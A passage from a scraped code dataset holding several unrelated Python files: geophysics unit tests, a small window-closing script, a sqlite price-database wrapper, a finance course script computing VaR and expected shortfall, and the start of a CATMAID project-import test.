__name__ == \"__main__\":\n\ttry:\n\t\tprint ( Conf.setSysValue(\"SystemToMail\" , \"false\") )\n\texcept Exception as e:\n\t\tprint (e)","repo_name":"ygg404/gis","sub_path":"UtilTool/Util/Config.py","file_name":"Config.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"33213329694","text":"import unittest\nfrom SimPEG import mkvc\nfrom SimPEG.electromagnetics import natural_source as nsem\nimport numpy as np\n\n# Define the tolerances\nTOLr = 5e-2\nTOLp = 5e-2\n\n\ndef getAppResPhs(nsemdata):\n # Make impedance\n def appResPhs(freq, z):\n app_res = ((1.0 / (8e-7 * np.pi**2)) / freq) * np.abs(z) ** 2\n app_phs = np.arctan2(z.imag, z.real) * (180 / np.pi)\n return app_res, app_phs\n\n zList = []\n for src in nsemdata.survey.source_list:\n zc = [src.frequency]\n for rx in src.receiver_list:\n if \"i\" in rx.rxType:\n m = 1j\n else:\n m = 1\n zc.append(m * nsemdata[src, rx])\n zList.append(zc)\n return [\n appResPhs(zList[i][0], np.sum(zList[i][1:3])) for i in np.arange(len(zList))\n ]\n\n\ndef calculateAnalyticSolution(source_list, mesh, model):\n surveyAna = nsem.Survey(source_list)\n data1D = nsem.Data(surveyAna)\n for src in surveyAna.source_list:\n elev = src.receiver_list[0].locations[0]\n anaEd, anaEu, anaHd, anaHu = nsem.utils.analytic_1d.getEHfields(\n mesh, model, src.frequency, elev\n )\n anaE = anaEd + anaEu\n anaH = anaHd + anaHu\n # Scale the solution\n # anaE = (anaEtemp/anaEtemp[-1])#.conj()\n # anaH = (anaHtemp/anaEtemp[-1])#.conj()\n anaZ = anaE / anaH\n for rx in src.receiver_list:\n data1D[src, rx] = getattr(anaZ, rx.component)\n return data1D\n\n\ndef dataMis_AnalyticPrimarySecondary(sigmaHalf):\n # Make the survey\n # Primary secondary\n survey, sig, sigBG, mesh = nsem.utils.test_utils.setup1DSurvey(\n sigmaHalf, False, structure=True\n )\n # Analytic data\n simulation = nsem.Simulation1DPrimarySecondary(\n mesh, sigmaPrimary=sig, sigma=sig, survey=survey\n )\n\n dataAnaObj = calculateAnalyticSolution(survey.source_list, mesh, sig)\n\n data = simulation.dpred()\n dataAna = mkvc(dataAnaObj)\n return np.all((data - dataAna) / dataAna < 2.0)\n\n\nclass TestNumericVsAnalytics(unittest.TestCase):\n def setUp(self):\n pass\n\n # Primary/secondary\n def test_appRes2en2_ps(self):\n self.assertTrue(dataMis_AnalyticPrimarySecondary(2e-2))\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"simpeg/simpeg","sub_path":"tests/em/nsem/forward/test_Problem1D_AnalyticVsNumeric.py","file_name":"test_Problem1D_AnalyticVsNumeric.py","file_ext":"py","file_size_in_byte":2272,"program_lang":"python","lang":"en","doc_type":"code","stars":438,"dataset":"github-code","pt":"7"} +{"seq_id":"2720651632","text":"\r\nimport pyautogui\r\nimport time\r\n\r\ndef close_settings_window(window_title):\r\n try:\r\n window = pyautogui.getWindowsWithTitle(window_title)[0]\r\n window.activate()\r\n window.close()\r\n # window.maximize()\r\n\r\n except IndexError:\r\n print(\"Window not found.\")\r\n\r\n# Usage example\r\nif __name__ == '__main__':\r\n close_settings_window(\"ID.827868070 | Configu\")","repo_name":"rodolfoneto/bot-settings-python","sub_path":"dc3.py","file_name":"dc3.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72363193823","text":"\"\"\"sqlite3 db wrapper\"\"\"\n\nimport os\nimport sqlite3\n\nimport arrow\n\nfrom common.utils import log\n\nTABLE_PRICES = 'prices'\n\n\nclass DB(object):\n \"\"\"Historical prices sqlite db wrapper\"\"\"\n\n def __init__(self, path):\n self.dbpath = os.path.realpath(path)\n self.conn = None\n self.cursor = None\n\n def __enter__(self):\n log('[db] connecting to {0}..'.format(self.dbpath))\n self.conn = sqlite3.connect(self.dbpath)\n self.conn.row_factory = sqlite3.Row\n self.cursor = self.conn.cursor()\n return self\n\n def __exit__(self, ex_type, ex_value, traceback):\n log('[db] closing..')\n self.conn.commit()\n self.conn.close()\n\n def select_change(self, ticker, fields=None):\n \"\"\"Gets price change data w/ the specified fields for the ticker\"\"\"\n\n if fields is None:\n fields = ['(adj_close-adj_open) as adj_change']\n else:\n fields = fields + ['(adj_close-adj_open) as adj_change']\n\n statement = '''\n SELECT {0} FROM prices\n WHERE ticker=?\n ORDER BY datetime ASC\n '''.format(','.join(fields))\n\n return self.cursor.execute(statement, (ticker,))\n\n def select(self, ticker,\n start_date=arrow.get(0).datetime,\n end_date=arrow.get().datetime):\n \"\"\"\n Gets price data for the given ticker, start and date date\n \"\"\"\n\n return self.cursor.execute(\n '''\n SELECT * FROM prices\n WHERE ticker=?\n AND datetime>=?\n AND datetime<=?\n ORDER BY datetime ASC\n ''',\n (ticker, start_date, end_date)\n )\n\n def reset(self):\n \"\"\"resets db\"\"\"\n log('[db] resetting prices db..')\n self.drop_table()\n self.ensure_table()\n self.ensure_indices()\n\n def drop_table(self):\n \"\"\"drops prices table\"\"\"\n self.cursor.execute('DROP TABLE IF EXISTS prices')\n\n def ensure_indices(self):\n \"\"\"ensures indices on prices table are created\"\"\"\n self.cursor.execute(\n '''\n CREATE INDEX IF NOT EXISTS ticker_datetime\n ON prices (ticker, datetime)\n '''\n )\n\n def ensure_table(self):\n \"\"\"ensures prices table is created\"\"\"\n\n self.cursor.execute(\n '''\n CREATE TABLE IF NOT EXISTS prices(\n id INTEGER PRIMARY KEY,\n datetime DATETIME,\n ticker TEXT,\n open REAL,\n high REAL,\n low REAL,\n close REAL,\n volume REAL,\n adj_open REAL,\n adj_high REAL,\n adj_low REAL,\n adj_close REAL,\n adj_volume REAL,\n split_ratio REAL,\n dividend REAL\n )\n '''\n )\n\n def insert_many(self, prices):\n \"\"\"inserts given price data into prices table\"\"\"\n rows = [(None, price['date'].datetime, price['ticker'],\n price['open'], price['high'], price['low'], price['close'],\n price['volume'], price['adj_open'], price['adj_high'],\n price['adj_low'], price['adj_close'], price['adj_volume'],\n price['split_ratio'], price['dividend']) for price in prices]\n\n self.cursor.executemany(\n '''\n INSERT INTO prices values(?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\n ''',\n rows\n )\n self.conn.commit()\n","repo_name":"leotse/mlplay","sub_path":"src/data/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":3585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"5193404536","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n2019\n\n@author: Eric Vansteenberghe\nQuantitative Methods in Finance\nAsset returns risk modelisation and selection, VaR and ES\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport scipy.stats\nfrom scipy.stats import t\nfrom scipy.stats import levy_stable\nimport os\n#We set the working directory (useful to chose the folder where to export output files)\nos.chdir('/Users/skimeur/Google Drive/empirical_finance')\nfrom pylevy import fit_levy\n\n# if you want to plot, set ploton to 1\nploton = 0\n# if you want to compute the loops (time consuming)\nloopcomp = 0\n\n\n#%% Data Import\ndf = pd.read_csv('R_data/fonds_merged_2018_08_28.csv',index_col=0)\ndf.index = pd.to_datetime(df.index,format=\"%Y-%m-%d\")\n\n\n#%% clean the data set: find anomalies\n\n# filter the series by business days\n#create an index of just the date portion of your index (this is the slow step)\nts_days = pd.to_datetime(df.index.date)\n\n#create a range of business days over that period\nbdays = pd.bdate_range(start=df.index[0].date(), end=df.index[-1].date())\n\n#Filter the series to just those days contained in the business day range.\ndf = df[ts_days.isin(bdays)]\n\n# when we have prices at 0, this could be default of the company or lack of data\ndfzeros = df.min().sort_values()\n\n# list of stock with prices equal or below 0\nneglist = list(dfzeros.loc[dfzeros<=0].index)\nif ploton == 1:\n for negi in neglist[:4]:\n df.loc[:,negi].plot(title=negi)\n plt.pause(1)\n plt.close()\n\nzerolist = list(dfzeros.loc[dfzeros==0].index)\nif ploton == 1:\n for negi in zerolist:\n df.loc[:,negi].plot(title=negi)\n plt.pause(1)\n plt.close()\n print(df.loc[:,negi].mean())\n\n# remove which mean are 0\n#df = df.loc[:,df.mean()>0]\n\n# we remove those three stocks stuck at zero\nstocklist = list(set(list(df.columns)) - set(zerolist))\n\ndf = df.loc[:,stocklist]\n\ndf.to_csv('R_data/fonds_merged_2018_11_07.csv')\n\n#%% fill NA\n\n# forward fill\ndf = df.fillna(method='ffill')\n# then backward fill\ndf = df.fillna(method='bfill')\ndf.head()\n\ndf.to_csv('R_data/fonds_merged_2018_11_07.csv')\n\n\n#%% Plotting some data\n\nif ploton == 1:\n # create a data frame with only the assets for which we have price information every day\n dffull = df.dropna(axis =1,how='any')\n ax = df.loc[:,['BNPP.PA','CNAT.PA','LP60038754']].plot(secondary_y='LP60038754')\n fig = ax.get_figure()\n fig.savefig('plot_3_assets.pdf')\n # in order to plot 20 randomly selected assets we divide the series by their means to have comparable scales\n dffull = dffull / dffull.mean()\n dffull.sample(20,axis = 1).plot(title = \"Plot a random sample of assets prices, divided by their mean over the period\")\n\n#%% compute the dailty returns\ndfx = (df - df.shift(1)) / df.shift(1)\ndel df\n\ndfx = dfx.replace([np.inf, -np.inf], np.nan)\n\n# remove returns with length less than one year of data 252 days\ndayslimit = 252\ndfx = dfx.loc[:,dfx.count() > dayslimit]\ndel dayslimit\n\n\n# winsorize the returns\n#dfxwinsorized = dfx.copy(deep = True)\n#for asseti in dfx.columns:\n# dfxwinsorized.loc[:,asseti] = list(scipy.stats.mstats.winsorize(dfx[asseti], limits = 0.001))\n\n\n# cap the returns by -200% and 200%\ndfxwinsorized = dfx.clip(-2,2)\n\n# count the number of days with positive returns\ndfx[dfx > 0].count().sum()\n# count the number of days with negative returns\ndfx[dfx < 0].count().sum()\n\n# ratio of postivie daily returns over total (note that many daily returns are null)\ndfx[dfx > 0].count().sum() / ( dfx[dfx > 0].count().sum() + dfx[dfx < 0].count().sum())\n\n\n\n#%% Assuming normal distribution and computing the VaR and ES\n \n\n#dfx.sample(1,axis=1).plot()\n\n# do it for the fist asset, BNP\nmuBNP = dfx['BNPP.PA'].mean()\nsigmaBNP = dfx['BNPP.PA'].std()\n\n# compute the quantile, one day out of 252 trading days\nq = scipy.stats.norm.ppf(1 - 1 / 252)\n\n# parametric VaR at 99.6%\nVaR99_6BNP_param = muBNP - q * sigmaBNP\n\n# historical VaR at 99.6%\nrBNPsorted = dfx['BNPP.PA'].sort_values()\nVaR99_6BNP_hist = rBNPsorted.iloc[round(len(rBNPsorted)*1 / 252)]\n\n# parametric ES at 99.6%\nES99_6BNP_param = muBNP - 252 * scipy.stats.norm.pdf(scipy.stats.norm.ppf(1/252)) * sigmaBNP\n\n# historical ES at 99.6%\nES99_6BNP_hist = rBNPsorted.iloc[0:round(len(rBNPsorted)*1 / 252)].mean()\n\n#%% Are the returns normally distributed?\n\n# we generate random returns from the normal law using the mean and standard deviation computed\n#We generate random numbers\nrBNPnormal = np.random.normal(muBNP, sigmaBNP, len(dfx['BNPP.PA'].dropna(axis=0)))\n#We want to plot both histogram one above the other, are the return following a normal law from what you can observe?\nif ploton==1:\n bins = np.linspace(dfx['BNPP.PA'].min(), dfx['BNPP.PA'].max(), 200)\n plt.hist(dfx['BNPP.PA'].dropna(axis=0), bins, alpha=0.5, label='r')\n plt.hist(rBNPnormal, bins, alpha=0.5, label='r if normal')\n plt.legend(loc='upper right')\n plt.savefig('normal_BNP.pdf')\n plt.show()\n plt.close()\n \n#Kolmogorov-Smirnov test: low p-value we reject normal distribution of BNP's returns\npvalueBNPnormal = scipy.stats.ks_2samp(dfx['BNPP.PA'].dropna(axis=0),rBNPnormal)[1]\n\n#%% Student t distribution\n# standardize returns (zero mean and one standard deviation)\ndfxsd = (dfx - dfx.mean())/dfx.std()\n\n# fit a t Student distribution to the standardized returns\nrBNPstudentdf = t.fit(dfxsd['BNPP.PA'].dropna(axis=0),floc=0,fscale=1)\n# generate returns from this distribution\nrBNPstudent = t.rvs(rBNPstudentdf[0] , size=len(dfx['BNPP.PA'].dropna(axis=0)))\n#We want to plot both histogram one above the other, are the return following a normal law from what you can observe?\nif ploton==1:\n bins = np.linspace(dfxsd['BNPP.PA'].min(), dfxsd['BNPP.PA'].max(), 200)\n plt.hist(dfxsd['BNPP.PA'].dropna(axis=0), bins, alpha=0.5, label='r')\n plt.hist(rBNPstudent, bins, alpha=0.5, label='r if student')\n plt.legend(loc='upper right')\n plt.savefig('student_BNP.pdf')\n plt.show()\n plt.close()\n \n#Kolmogorov-Smirnov test: low p-value we reject Student's-t distribution of BNP's returns\npvalueBNPstudent = scipy.stats.ks_2samp(dfxsd['BNPP.PA'].dropna(axis=0),rBNPstudent)[1]\n \n#%% Assuming Student t distribution and computing the VaR and ES\n\n# parametric VaR at 99.6%\nVaR99_6BNP_param_stud = muBNP -((rBNPstudentdf[0]-2)/rBNPstudentdf[0])**(0.5) * t.ppf(1-1/252, rBNPstudentdf[0]) * sigmaBNP\n\n# parametric ES at 99.6%\nES99_6BNP_param_stud = muBNP + (252) * (1-rBNPstudentdf[0])**(-1) * (rBNPstudentdf[0] - 2 + t.ppf(1/252, rBNPstudentdf[0])**2) * t.pdf(t.ppf(1/252, rBNPstudentdf[0]), rBNPstudentdf[0]) * sigmaBNP\n\n# generate returns from the Student's t distribution\nsamplesize = 10**6\nrBNPstudentdf = t.fit(dfx['BNPP.PA'].dropna(axis=0),floc=dfx['BNPP.PA'].mean(),fscale=dfx['BNPP.PA'].std())\nrBNP_student_MC = pd.DataFrame(t.rvs(rBNPstudentdf[0] , size= samplesize))\nrBNP_student_MC.columns = ['returns']\nrBNP_student_MC = dfx['BNPP.PA'].mean() + dfx['BNPP.PA'].std() * rBNP_student_MC * ((rBNPstudentdf[0]-2)/rBNPstudentdf[0])**(0.5)\nVaR99_6BNP_param_MC_stud = rBNP_student_MC.dropna(axis=0).sort_values(by='returns').iloc[round(len(rBNP_student_MC.dropna(axis=0)) * 1 / 252)].iloc[0]\nES99_6BNP_param_MC_stud = rBNP_student_MC.dropna(axis=0).sort_values(by='returns').iloc[0:round(len(rBNP_student_MC.dropna(axis=0)) * 1 / 252)].mean().iloc[0]\n\n#%% Stable law\n# for the levy stable law, we import the PyLevy package from https://github.com/josemiotto/pylevy/tree/master/levy\n# fit a stable law and find the parameters\nrBNPlevydf = fit_levy(dfxsd['BNPP.PA'].dropna(axis=0))\nprint('alpha={:.2f}, beta={:.2f}, mu_0={:.2f}, sigma={:.2f}, neglog={:.2f}'.format(*rBNPlevydf))\n# generate returns from the stable law\nrBNPlevy = levy_stable.rvs(rBNPlevydf[0],rBNPlevydf[1],loc=rBNPlevydf[2],scale=rBNPlevydf[3],random_state=None,size=len(dfx['BNPP.PA'].dropna(axis=0)))\n#We want to plot both histogram one above the other, are the return following a normal law from what you can observe?\nif ploton==1:\n bins = np.linspace(dfxsd['BNPP.PA'].min(), dfxsd['BNPP.PA'].max(), 200)\n plt.hist(dfxsd['BNPP.PA'].dropna(axis=0), bins, alpha=0.5, label='r')\n plt.hist(rBNPlevy, bins, alpha=0.5, label='r if Levy stable')\n plt.legend(loc='upper right')\n plt.savefig('levy_BNP.pdf')\n plt.show()\n plt.close()\n \n#Kolmogorov-Smirnov test: p-value near 5%, we just reject normal distribution of BNP's returns\npvalueBNPlevy = scipy.stats.ks_2samp(dfxsd['BNPP.PA'].dropna(axis=0),rBNPlevy)[1]\n \n#%% Assuming stable law and computing the VaR and ES \n# generate returns from the stable law\nsamplesize = 10**6\nrBNPlevydf = fit_levy(dfx['BNPP.PA'].dropna(axis=0))\nrBNPlevy_MC = pd.DataFrame(levy_stable.rvs(rBNPlevydf[0],rBNPlevydf[1],loc=rBNPlevydf[2],scale=rBNPlevydf[3],random_state=None,size=samplesize))\nrBNPlevy_MC.columns = ['returns']\n\nVaR99_6BNP_MC_levy = rBNPlevy_MC.sort_values(by='returns').iloc[round(len(rBNPlevy_MC.dropna(axis=0))*1 / 252)].iloc[0]\nES99_6BNP_MC_levy = rBNPlevy_MC.sort_values(by='returns').iloc[0:round(len(rBNPlevy_MC.dropna(axis=0))*1 / 252)].mean().iloc[0]\n\n#%% parametric and historical VaR and ES of the sample\n\n# compute the parametric and historical VaR and ES for each asset\ndVaR = pd.DataFrame(columns=['historical VaR','parametric VaR normal','parametric VaR student','MC VaR levy','historical ES','parametric ES normal','parametric ES student','MC ES levy'],index=dfx.columns)\n# compute the quantile, one day out of 252 trading days\nq = scipy.stats.norm.ppf(1 - 1 / 252)\nsamplesize = 10**5\nif loopcomp == 1:\n for asseti in dfx.columns:\n try:\n # fit the Student's-t distribution\n rstudentdf = t.fit(dfx[asseti].dropna(axis=0),floc=dfx[asseti].mean(),fscale=dfx[asseti].std())\n dVaR.loc[asseti,'parametric VaR student'] = dfx[asseti].mean() -((rstudentdf[0]-2)/rstudentdf[0])**0.5 * t.ppf(1-1/252, rstudentdf[0]) * dfx[asseti].std()\n dVaR.loc[asseti,'parametric ES student'] = dfx[asseti].mean() + 252 * (1-rstudentdf[0])**(-1) * (rstudentdf[0] - 2 + t.ppf(1/252, rstudentdf[0])**2) * t.pdf(t.ppf(1/252, rstudentdf[0]), rstudentdf[0]) * dfx[asseti].std()\n dVaR.loc[asseti,'parametric VaR normal'] = dfx[asseti].mean() - q * dfx[asseti].std()\n dVaR.loc[asseti,'historical VaR'] = dfx[asseti].dropna(axis=0).sort_values().iloc[round(len(dfx[asseti].dropna(axis=0))*1 / 252)]\n dVaR.loc[asseti,'parametric ES normal'] = dfx[asseti].mean() - 252 * scipy.stats.norm.pdf(scipy.stats.norm.ppf(1/252)) * dfx[asseti].std()\n dVaR.loc[asseti,'historical ES'] = dfx[asseti].dropna(axis=0).sort_values().iloc[0:round(len(dfx[asseti].dropna(axis=0))*1 / 252)].mean() \n rlevydf = fit_levy(dfx[asseti].dropna(axis=0))\n rlevy_MC = pd.DataFrame(levy_stable.rvs(rlevydf[0],rlevydf[1],loc=rlevydf[2],scale=rlevydf[3],random_state=None,size=samplesize))\n rlevy_MC.columns = ['returns']\n dVaR.loc[asseti,'MC VaR levy'] = rlevy_MC.sort_values(by='returns').iloc[round(len(rlevy_MC.dropna(axis=0))*1 / 252)].iloc[0]\n dVaR.loc[asseti,'MC ES levy'] = rlevy_MC.sort_values(by='returns').iloc[0:round(len(rlevy_MC.dropna(axis=0))*1 / 252)].mean().iloc[0]\n except:\n print('we could not fit distributions')\n dVaR.to_csv('R_data/dVaR.csv')\nelse:\n dVaR = pd.read_csv('R_data/dVaR.csv',index_col=0)\n# we observe that our parameteric risk measures are less conservative than the historical observations\ndVaR['diff VaR normal'] = dVaR['parametric VaR normal'] - dVaR['historical VaR']\ndVaR['diff ES normal'] = dVaR['parametric ES normal'] - dVaR['historical ES']\ndVaR['diff VaR student'] = dVaR['parametric VaR student'] - dVaR['historical VaR']\ndVaR['diff ES student'] = dVaR['parametric ES student'] - dVaR['historical ES']\n\noutVaRlatex = dVaR.median().round(3).to_latex()\n\n\n\n#%% Test for all the assets in our data frame\n\n# for each distribution type and for each asset, we store the p-value of the Kolmogorov-Smirnov test in a dataframe\nif loopcomp == 1:\n dtest = pd.DataFrame(columns=['KS p-value normal','KS p-value student','KS p-value stable','t-Student nu','levy alpha','levy beta','levy mu','levy sigma','levy neglog'],index=dfxsd.columns)\n for asseti in dfxsd.columns:\n try:\n dtest.loc[asseti,'KS p-value normal'] = scipy.stats.ks_2samp(dfxsd[asseti].dropna(axis=0),np.random.normal(dfxsd[asseti].mean(), dfxsd[asseti].std(), len(dfxsd[asseti].dropna(axis=0))))[1]\n rstudentdf = t.fit(dfxsd[asseti].dropna(axis=0),floc=0,fscale=1)\n dtest.loc[asseti,'t-Student nu'] = rstudentdf[0]\n dtest.loc[asseti,'KS p-value student'] = scipy.stats.ks_2samp(dfxsd[asseti].dropna(axis=0),t.rvs(rstudentdf[0] , size=len(dfxsd[asseti].dropna(axis=0))))[1]\n rlevydf = fit_levy(dfxsd[asseti].dropna(axis=0))\n dtest.loc[asseti,'levy alpha'] = rlevydf[0]\n dtest.loc[asseti,'levy beta'] = rlevydf[1]\n dtest.loc[asseti,'levy mu'] = rlevydf[2]\n dtest.loc[asseti,'levy sigma'] = rlevydf[3]\n dtest.loc[asseti,'levy neglog'] = rlevydf[4]\n dtest.loc[asseti,'KS p-value stable'] = scipy.stats.ks_2samp(dfxsd[asseti].dropna(axis=0),levy_stable.rvs(rlevydf[0],rlevydf[1],loc=rlevydf[2],scale=rlevydf[3],random_state=None,size=len(dfxsd[asseti].dropna(axis=0))))[1]\n except:\n print('we could not fit distributions')\n dtest.to_csv('R_data/dtest.csv')\nelse:\n dtest = pd.read_csv('R_data/dtest.csv',index_col=0)\n\n\n# NB: the test are not stable and several random draws should be done before concluding!\n\nnormal = dtest.loc[dtest['KS p-value normal']>0.05]\n# we find 82 candidates for the normal distribution\nstudentl = dtest.loc[dtest['KS p-value student']>0.05]\n# we find 71 candidates for the Student t distribution\nstablel = dtest.loc[dtest['KS p-value stable']>0.05]\n# we find 419 candidates for the Levy stable law, which is less than 10% of the initial sample\n\nliststable = list(stablel.index)\n\ndVaRstable = dVaR.loc[liststable,'MC ES levy']\ndVaRstable.columns = ['ES']\ndVaRstable = dVaRstable.astype(float)\nif ploton == 1:\n ax = dVaRstable.hist(bins=200)\n fig = ax.get_figure()\n fig.savefig('ESstablehist.pdf')\n plt.close(fig)\n\n\n\n\n#%% Working with the noraml and Student's t distributions\nif ploton == 1:\n # we want to plot the normal distribution N(0,1)\n dx = 0.0001 # resolution\n x = np.arange(-5, 5, dx)\n # normal distribution N(0,1)\n pdf = scipy.stats.norm.pdf(x, 0, 1)\n # t Student distribution, nu = 5\n nu = 5\n pdf2 = t.pdf(x, nu, 0, 1)\n \n alpha = 0.05 # significance level\n StudenthVaR = -((nu-2)/nu)**0.5 * t.ppf(1-alpha, nu)\n NormalhVaR = -scipy.stats.norm.ppf(1-alpha)\n \n plt.figure(num=1, figsize=(11, 6))\n plt.plot(x, pdf, 'b', label=\"Normal PDF\")\n plt.axis(\"tight\")\n plt.plot(x, pdf2, 'g', label=\"Student t PDF, nu = 5\")\n # Student VaR line\n plt.plot([StudenthVaR, StudenthVaR], [0, 1], c='g')\n # Normal VaR line\n plt.plot([NormalhVaR, NormalhVaR], [0, 1], c='b')\n plt.text(NormalhVaR - 1, 0.37, \"Norm VaR\", color='b')\n plt.text(StudenthVaR + 0.1 , 0.05, \"Student t VaR\", color='g')\n plt.xlim([-5, 5])\n plt.ylim([0, 0.4])\n plt.legend(loc=\"best\")\n plt.xlabel(\"Return value\")\n plt.ylabel(\"Probability of occurence\")\n plt.show()\n plt.close()\n\n\n\n\n#%% create an index equally weighed\n\n\n# find the VaR at 20%\nquantilei = 0.2\nVaR20 = dfxwinsorized['BNPP.PA'].dropna(axis=0).sort_values().iloc[round(len(dfxwinsorized['BNPP.PA'].dropna(axis=0)) * quantilei)]\nif ploton == 1:\n ax = dfxwinsorized['BNPP.PA'].hist(cumulative = True,bins = 100,normed = True)\n ax.axvline(x=VaR20, color='r', linestyle='dashed', linewidth=2)\n fig = ax.get_figure()\n fig.savefig('BNPcdf.pdf')\n plt.close(fig)\n\n# find for each asset the dates at which it crosses the likelihood\nif loopcomp == 1:\n quantilei = 0.01\n scoredates = dfxwinsorized.copy(deep=True)\n scoredates = scoredates * 0\n for asseti in scoredates.columns:\n VaRi = dfxwinsorized[asseti].dropna(axis=0).sort_values().iloc[round(len(dfxwinsorized[asseti].dropna(axis=0)) * quantilei)]\n scoredates.loc[:,asseti] = dfxwinsorized[asseti] < VaRi\n scoredates.to_csv('scoredates.csv')\nelse:\n scoredates = pd.read_csv('scoredates.csv',index_col=0)\n\nscoredatessum = scoredates.sum(axis = 1)\ndel scoredates\n\nif ploton == 1:\n ax = scoredatessum.plot(title = 'Number of asset returns crossing their VaR per day')\n fig = ax.get_figure()\n fig.savefig('VaRcrossing.pdf')\n plt.close(fig)\n\n# compute the average correlation over the full sample\n#avcorrfull = ( dfxwinsorized.corr().sum().sum() - np.nansum(np.diag(dfxwinsorized.corr())) ) / dfxwinsorized.corr().count().sum()\navcorrfull = 0.16072186528126772\n\n# we want to compute a rolling correlation, of excess correlation over the average correlation\nif loopcomp == 1:\n window = 20 # one week window\n rollingcorrelation = pd.DataFrame(0,index = dfxwinsorized.index,columns=['correlation'])\n for i in range(1, len(rollingcorrelation)-window):\n corrmat = dfxwinsorized.iloc[i:(i+window),:].corr()\n rollingcorrelation.iloc[i+window] = (corrmat.sum().sum() - np.nansum(np.diag(corrmat))) / corrmat.count().sum()\n rollingcorrelation.to_csv('R_data/rollingcorrelation.csv')\nelse:\n rollingcorrelation = pd.read_csv('R_Data/rollingcorrelation.csv',index_col=0)\n\nif ploton == 1:\n ax = rollingcorrelation.plot(title = 'Rolling asset returns correlation')\n fig = ax.get_figure()\n fig.savefig('rollingcorrelationexcess.pdf')\n plt.close(fig)\n\n# concatenate both measures\ndf_VaR_corr = pd.concat([scoredatessum,rollingcorrelation],axis = 1)\ndf_VaR_corr.columns = ['VaRexceed','corr']\nif ploton == 1:\n ax = df_VaR_corr.plot.scatter(x='VaRexceed',y='corr')\n fig = ax.get_figure()\n fig.savefig('VaR_corr_scatter.pdf')\n plt.close(fig)\n\ndatespb = list(df_VaR_corr.loc[(df_VaR_corr.VaRexceed > 600)&(df_VaR_corr['corr'] > avcorrfull)].index)\n\n# constitue an index\nindexassets = dfxwinsorized.mean(axis = 1)\n\nif ploton == 1:\n ax = indexassets.plot()\n for i in range(0,len(datespb)):\n ax.axvline(x=datespb[i], color='r', linestyle='dashed', linewidth=2)\n fig = ax.get_figure()\n fig.savefig('indexassets.pdf')\n plt.close(fig)\n\n# if you invested one euro on the 2nd of January 1998, equaly spread, and reinvested it evry day, how much would you have on the 6th August 2018?\nfrom functools import reduce\nreduce(lambda x, y: x*y, list(indexassets.dropna() + 1))-1\n\n","repo_name":"thomaspernet/PythonFinanceClass","sub_path":"QuantitativeFinance/PythonFiles/20190923QMF/hist_funds_data_vansteenberghe.py","file_name":"hist_funds_data_vansteenberghe.py","file_ext":"py","file_size_in_byte":18578,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"7"} +{"seq_id":"9124554458","text":"# -*- coding: utf-8 -*-\n\nfrom ast import literal_eval\nimport json\nfrom typing import List\nimport yaml\n\nfrom guardian.shortcuts import assign_perm\n\nfrom django.http import HttpResponse\nfrom django.test.client import Client\nfrom django.test import TestCase\n\nfrom catmaid.control import importer\nfrom catmaid.control.common import urljoin\nfrom catmaid.models import (Class, ClassInstance, Project, ProjectStack,\n Relation, Stack, StackClassInstance, StackGroup, StackStackGroup, User)\nfrom catmaid.tests.common import AssertStatusMixin\n\n\nclass ImportExportTests(TestCase, AssertStatusMixin):\n \"\"\"Test CATMAID's import and export functionality.\n \"\"\"\n # fixtures = ['catmaid_project_stack_data']\n\n def setUp(self):\n # We need a super user during import\n self.username = \"test2\"\n self.password = \"test\"\n self.user = User.objects.create(username=self.username, is_superuser=True)\n self.user.set_password(self.password)\n self.user.save()\n self.test_project_id = 3\n self.maxDiff = None\n\n self.client = Client()\n self.client.login(username=self.username, password=self.password)\n\n super().setUp()\n\n def fake_authentication(self):\n self.client.force_login(self.user)\n\n def test_import_projects(self):\n \"\"\"Import a set of new projects, stacks and stack groups. This tests\n only the actual import. Retrieving the data to import from different\n sources is not part of this test.\n \"\"\"\n project_url = 'https://catmaid-test/'\n data_folder = '/tmp/catmaid-test/'\n existing_projects = list(Project.objects.all())\n existing_project_ids = [p.id for p in existing_projects]\n\n p1_config = {\n 'project': {\n 'title': 'test-no-stacks',\n }\n }\n\n p2_config = {\n 'project': {\n 'title': 'test-two-stacks',\n 'stacks': [\n {\n # A basic stack, only with required information\n 'title': 'test-stack-1',\n 'dimension': '(7, 17, 23)',\n 'resolution': '(2, 3, 5)',\n 'zoomlevels': -1,\n 'mirrors': [{\n 'title': 'test-mirror-1',\n 'fileextension': 'jpg'\n }]\n },\n {\n # A basic stack with a little more information\n 'title': 'test-stack-2',\n 'dimension': '(7, 17, 23)',\n 'resolution': '(2, 3, 5)',\n 'zoomlevels': -1,\n 'mirrors': [{\n 'title': 'test-mirror-2',\n 'fileextension': 'jpg',\n 'url': 'https://this.is.my.stack/'\n }]\n },\n {\n # A stack with all optional properties\n 'title': 'test-stack-3',\n 'dimension': '(4, 34, 9)',\n 'resolution': '(1, 2, 3)',\n 'metadata': 'Test meta data',\n 'zoomlevels': -1,\n 'translation': '(10, 20, 30)',\n 'mirrors': [{\n 'title': 'test-mirror-3',\n 'folder': 'abc/',\n 'fileextension': 'jpg',\n 'tile_width': 123,\n 'tile_height': 456,\n 'tile_source_type': 2,\n }],\n 'stackgroups': [{\n # Add a single stack group with only this stack\n # in it.\n 'title': 'Test group 1',\n 'relation': 'view',\n }],\n }\n ]\n }\n }\n\n pre_projects = [\n importer.PreProject(p1_config, project_url, data_folder),\n importer.PreProject(p2_config, project_url, data_folder),\n ]\n\n tags:List = []\n permissions:List = []\n default_tile_width = 256\n default_tile_height = 512\n default_tile_source_type = 5\n default_position = 0\n cls_graph_ids_to_link:List = []\n remove_unref_stack_data = False\n\n imported, not_imported = importer.import_projects(self.user,\n pre_projects, tags, permissions, default_tile_width,\n default_tile_height, default_tile_source_type,\n cls_graph_ids_to_link, remove_unref_stack_data)\n\n self.assertListEqual(pre_projects, imported)\n self.assertListEqual([], not_imported)\n\n new_projects = 